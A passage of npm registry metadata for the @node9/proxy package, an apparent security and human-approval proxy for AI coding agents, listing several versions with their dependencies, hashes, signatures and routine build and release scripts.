server.","directories":{},"_nodeVersion":"22.23.1","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.66.0_1785008588097_0.45730366208295825","host":"s3://npm-registry-packages-npm-production"}},"1.67.0":{"name":"@node9/proxy","version":"1.67.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.67.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"7e966cdfbe45e7e9e75e0c4e006659e40009c0b9","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.67.0.tgz","fileCount":17,"integrity":"sha512-YeUfLTKdDBZyr0E7BZ7FIskTc8VCkaLAoyd+PRdLBR95MFH8Vmjxj2MJaV2TXyda+GlNTXvSYS4sa5aGh8DoKg==","signatures":[{"sig":"MEYCIQC7Y2EoWlMTGp+9GhszYoNXxOCw90NaCmM2ZSyuldKvhAIhAJGwSs49lOCJiFduEXasfNY+uWChqmuOzuMishC5XHMu","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.67.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":6917235},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"2dbe901035b14090d788e222069b086de1b31d64","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.1","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.67.0_1785076899912_0.19722683061659252","host":"s3://npm-registry-packages-npm-production"}},"1.67.1":{"name":"@node9/proxy","version":"1.67.1","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.67.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"739766e2d219db73b20a5e908f04c73af8f9f555","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.67.1.tgz","fileCount":17,"integrity":"sha512-Lak5UUX/LWXPfjDdcj+pg2vV0xdpeaZmQkQ4WyXmd0tKNrrBnfI1YcGhcLV79mkyq2g0gAOQPeAH6xPLaUwyig==","signatures":[{"sig":"MEUCIQCUWUm6rnIUAFlNqnXF6CRAaIrQf4eyP1gz4CdP0PpaoQIgHsUwDPLYys9TrOdT8OzCVeHEKclixRDG+UrgXLfT/rI=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.67.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":6917439},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"1489caae3e27867ec0e2e738999ee05159fd0778","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.1","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.67.1_1785155528455_0.9161472139626086","host":"s3://npm-registry-packages-npm-production"}},"1.67.2":{"name":"@node9/proxy","version":"1.67.2","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.67.2","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"0ce7a9e692a5682a8d689efeeda6c7ed9a232335","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.67.2.tgz","fileCount":17,"integrity":"sha512-rx+ziUeixyH5aQ+Q8pKrgH1Rd6YzBJfkCuFLnLFwomlIIpLoIkF5jRFWw+5AI5CI9KBWhvgr34mBtBnzs2PEGg==","signatures":[{"sig":"MEYCIQC6CuJ92WonB1Q9Co69q8UhsIwAhtzo+vFKqTQypV67yQIhAMcrluV5TygyWVW19e+YPiVrzVoSZth9oC+ycvbU1EBf","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.67.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":6983708},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"3c25584706ba05443e271ba3ed5e68b245671ab1","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.67.2_1787222459117_0.2926450421033362","host":"s3://npm-registry-packages-npm-production"}},"1.67.3":{"name":"@node9/proxy","version":"1.67.3","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.67.3","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"f0e035674f78117ff809e955c22b9e2b463c61c6","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.67.3.tgz","fileCount":17,"integrity":"sha512-/kwxjvXztdvslRTq+rcB1+gcZ+2gs9Z68MVMa9SwTTtkh7VrzCdPC4ImuC5ASheKmVqk0JaxuHVW+jaI1yowgg==","signatures":[{"sig":"MEUCIGiZhGevOCn6mNz30/kUtclXIdwSDAbNoh0iNzUsRUmQAiEAoncis/5ORONx/VYTd1xzhJn8mtKpFsHIk5z1NLLesf8=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.67.3","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":6995573},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"a58b43f7e29e4e55f14a644b39871c8efc4c9e3f","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.67.3_1787224887399_0.9505538546888999","host":"s3://npm-registry-packages-npm-production"}},"1.67.4":{"name":"@node9/proxy","version":"1.67.4","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.67.4","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"b169286fb0d781f6f1881f0eb419d31b99002c84","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.67.4.tgz","fileCount":17,"integrity":"sha512-RHYTb9HKuBS08TDekgXNL+U2L/ZFGdLguFBV6xb0tCvfIrkYUDG8/VqTV95iOicpDgqM+SUoIIzbzSXWja7N5g==","signatures":[{"sig":"MEQCIEaJcWQlQ5VYxGiNspHl5pwtMmI0ynSmWpLJ0G/kndlEAiAIk0RYkFByQ0x2h3Lq5OmKmZ3wlWPtCv38+fLW7mXyZA==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.67.4","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":6997263},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"b59292e45ba66246abdf7f69a1ef9108b2b4dca0","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.67.4_1787341725551_0.6364481231513117","host":"s3://npm-registry-packages-npm-production"}},"1.67.5":{"name":"@node9/proxy","version":"1.67.5","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.67.5","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"d06a1d564532b183a847e871ae6f9c899706cf4d","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.67.5.tgz","fileCount":17,"integrity":"sha512-7a9igc8MntGGwz5GBx8m2mL+iukkdXY+gEWsZBbDOS6mpi8BisP7HUAZh50MsVbgzoY3ymFLzmPZMZh6VNoCMA==","signatures":[{"sig":"MEYCIQCquaJ3ACau4E8VhHdJMr2O6+TpP8Hhn+sJHpK7mS+BJAIhAKhqIZi+n2V0eiUIx+RmPKL5TLlD+hdCkrS3onOBuNLS","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.67.5","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":6969038},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"0bd04c6dbb29a869e16eaac15439d8c180639002","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node 